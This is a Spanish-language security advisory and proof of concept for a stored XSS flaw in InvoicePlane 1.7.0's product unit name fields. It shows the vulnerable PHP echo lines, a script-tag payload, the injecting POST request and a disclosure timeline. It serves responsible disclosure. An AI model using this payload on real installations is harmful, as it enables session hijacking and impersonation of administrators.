
Prueba de concepto para una vulnerabilidad XSS almacenado en InvoicePlane 1.7.0 a través del campo de nombre de unidad de producto, incluyendo ubicaciones de código vulnerable y pasos de reproducción.
Vulnerabilidad: Cross-Site Scripting (XSS) Almacenado a través del campo Nombre de Unidad de Producto
Producto: InvoicePlane
Versión afectada: 1.7.0 (y probablemente versiones anteriores)
Severidad: Media
Puntuación CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: Neutralización incorrecta de la entrada durante la generación de páginas web
Descubierto por: Leonidas Agathos
Fecha del informe: 2026-01-31
Los campos unit_name y unit_name_plrl del formulario de unidad de producto (/index.php/units/form) aceptan entrada arbitraria sin saneamiento. Los valores se almacenan y se renderizan sin codificar en la lista de artículos de factura al visualizar cualquier factura que contenga un producto que utilice la unidad maliciosa.
Archivos vulnerables:
application/modules/invoices/views/partial_itemlist_table.php:127application/modules/invoices/views/partial_itemlist_responsive.php:71// partial_itemlist_table.php - Línea 127
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
// partial_itemlist_responsive.php - Línea 71
<?php echo $unit->unit_name . '/' . $unit->unit_name_plrl; ?>
Paso 1 — Inyectar payload en el Nombre de Unidad
Navegue a /index.php/units/form y envíe lo siguiente como Nombre de Unidad:
<script>alert("XSS in Product Unit")</script>
Solicitud:
POST /index.php/units/form/1 HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
_ip_csrf=...&btn_submit=1&is_update=1&unit_name=%3Cscript%3Ealert%28%22XSS+in+Product+Unit%22%29%3C%2Fscript%3E&unit_name_plrl=tests

Paso 2 — Activar el XSS
/index.php/products/form/1 o visualice cualquier factura que contenga el productoEl payload se ejecuta cuando se renderiza la lista de artículos.

El payload se ejecuta en el navegador de cualquier administrador que visualice una factura o página de producto que incluya la unidad maliciosa. Esto permite el secuestro de sesión (si las cookies no son HttpOnly), el robo de tokens CSRF y la realización de acciones bajo la identidad de la víctima.
| Fecha | Evento |
|---|---|
| 2026-01-30 | Vulnerabilidad descubierta |
| 2026-01-31 | Prueba de concepto desarrollada |
| 2026-01-31 | Proveedor notificado |
| 2026-02-04 | Confirmación del proveedor |
| 2026-02-04 | Parche publicado |
| 2026-02-05 | Divulgación pública |
Esta vulnerabilidad fue descubierta durante una investigación de seguridad independiente. Toda la información se proporciona estrictamente con fines educativos, de investigación y defensivos para ayudar al proveedor y a la comunidad de seguridad a comprender y remediar el problema. Cualquier uso malicioso de esta información está estrictamente prohibido.